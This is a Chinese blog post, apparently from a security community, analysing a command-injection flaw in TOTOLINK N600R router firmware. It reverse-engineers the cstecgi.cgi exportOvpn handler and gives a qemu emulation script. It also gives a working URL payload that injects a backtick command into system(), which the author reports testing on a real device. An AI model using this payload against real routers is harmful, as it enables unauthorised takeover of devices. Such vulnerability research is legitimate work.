TOTOLINK N600R RCE漏洞固件分析

固件安全
2022-03-02 10:14
29018

TOTOLINK N600R RCE漏洞固件分析

首先,感谢认真负责的IOTSec-Zone审核大大指出了文中的一处错误。在他的帮助下才完善了文章,分享给大家。

固件下载地址

http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

分析过程

binwalk解压开。
看下目录结构,找到关键的cgi ./web_cste/cgi-bin/cstecgi.cgi
根据file命令看一下架构

使用qemu的user模式跑一下

chroot . ./qemu ./web_cste/cgi-bin/cstecgi.cgi


ida简单分析一下,可以看到获取了很多环境变量

补充环境变量再执行,还是不行仔细看了看发现
apmib_init 这个函数的问题。应该是个什么初始化,我们user模式的功能不全导致此函数返回值为flase,所以直接走到报错逻辑。
使用动调时候修改寄存器方式强行过掉此逻辑


目的是使代码走到如下逻辑,控制system的参数。

if ( strstr(req_str, "exportOvpn") )
      {
        memset(v58, 0, sizeof(v58));
        memset(req_2, 0, sizeof(req_2));
        memset(req_1, 0, sizeof(req_1));
        memset(req_2_value, 0, sizeof(req_2_value));
        memset(v55, 0, 0x80u);
        memset(v49, 0, sizeof(v49));
        memset(v50, 0, sizeof(v50));
        memset(req_3, 0, sizeof(req_3));
        getNthValueSafe(1, req_str, '&', req_1, 128);
        getNthValueSafe(3, req_str, '&', req_3, 64);
        if ( strcmp(req_1, "type=user") )
        {
          if ( !strcmp(req_1, "type=server_cert") )
          {
            strcpy(req_2_value, (const char *)v50);
            system("openvpn-cert backups_server_cert");
            snprintf(v55, 0x80u, "/etc/openvpn/server/user/%s.tar.gz", (const char *)v50);
          }
        }
        else
        {
          getNthValueSafe(2, req_str, '&', req_2, 128);
          getNthValueSafe(1, req_2, '=', req_2_value, 128);
          if ( !req_3[0] || strcmp(req_3, "filetype=gz") )
          {
            snprintf(v58, 0x100u, "openvpn-cert build_user %s config", req_2_value);
            system(v58);
            snprintf(v55, 0x80u, "/etc/openvpn/server/user/%s.ovpn", req_2_value);
          }
          else
          {
            snprintf(v58, 0x100u, "openvpn-cert build_user %s gz", req_2_value);
            system(v58);
            snprintf(v55, 0x80u, "/etc/openvpn/server/user/%s.tar.gz", req_2_value);
          }
        }

简单分析上下文逻辑,
1.req_str是环境变量QUERY_STRING是请求的url部分(没有确定去没有去掉path)
2.req_str中要有"exportOvpn"
3.第二个参数要为"type=user"
4.第三个参数的value被拿来拼接进system

#!/bin/bash

PORT=1234
LEN=-1

cp $(which qemu-mips-static) ./qemu

chroot . ./qemu -strace -E QUERY_STRING="action=exportOvpn&type=user&abcd=\`ls>1.txt\`" -E CONTENT_LENGTH=$LEN -E stationIp="127.0.0.1" -E http_host="127.0.0.1" -g $PORT -E REMOTE_ADDR="127.0.0.1" ./web_cste/cgi-bin/cstecgi.cgi

执行如上脚本,即可看到成功执行了我们注入进去的命令。这里就是注意"`"一定要转义。

payload:

/cgi-bin/cstecgi.cgi?action=exportOvpn&type=user&abcd=`ls>../1.txt`

好巧不巧搞到了一个

试一下我们分析出来的payload

成功!

小结

总体来讲这个漏洞还是很简单的。但是本菜鸡在调试过程中还是遇到了一些坑
1.一开始没找到apmib_init 的问题,在那里懵了很久。后边才找到强改寄存器的方法。
2.一开始的脚本里边的命令注入符"`"没转义,被审核大大指正。
3.单单的qumu静态模式有时候不太能够确认问题,还是要结合真机或者模拟环境。

分享到

参与评论

0 / 200

全部评论 3

zebra的头像
学习大佬思路
2023-03-19 12:14
Hacking_Hui的头像
学习了
2023-02-01 14:20
tracert的头像
前排学习
2022-09-17 01:32
投稿
签到
联系我们
关于我们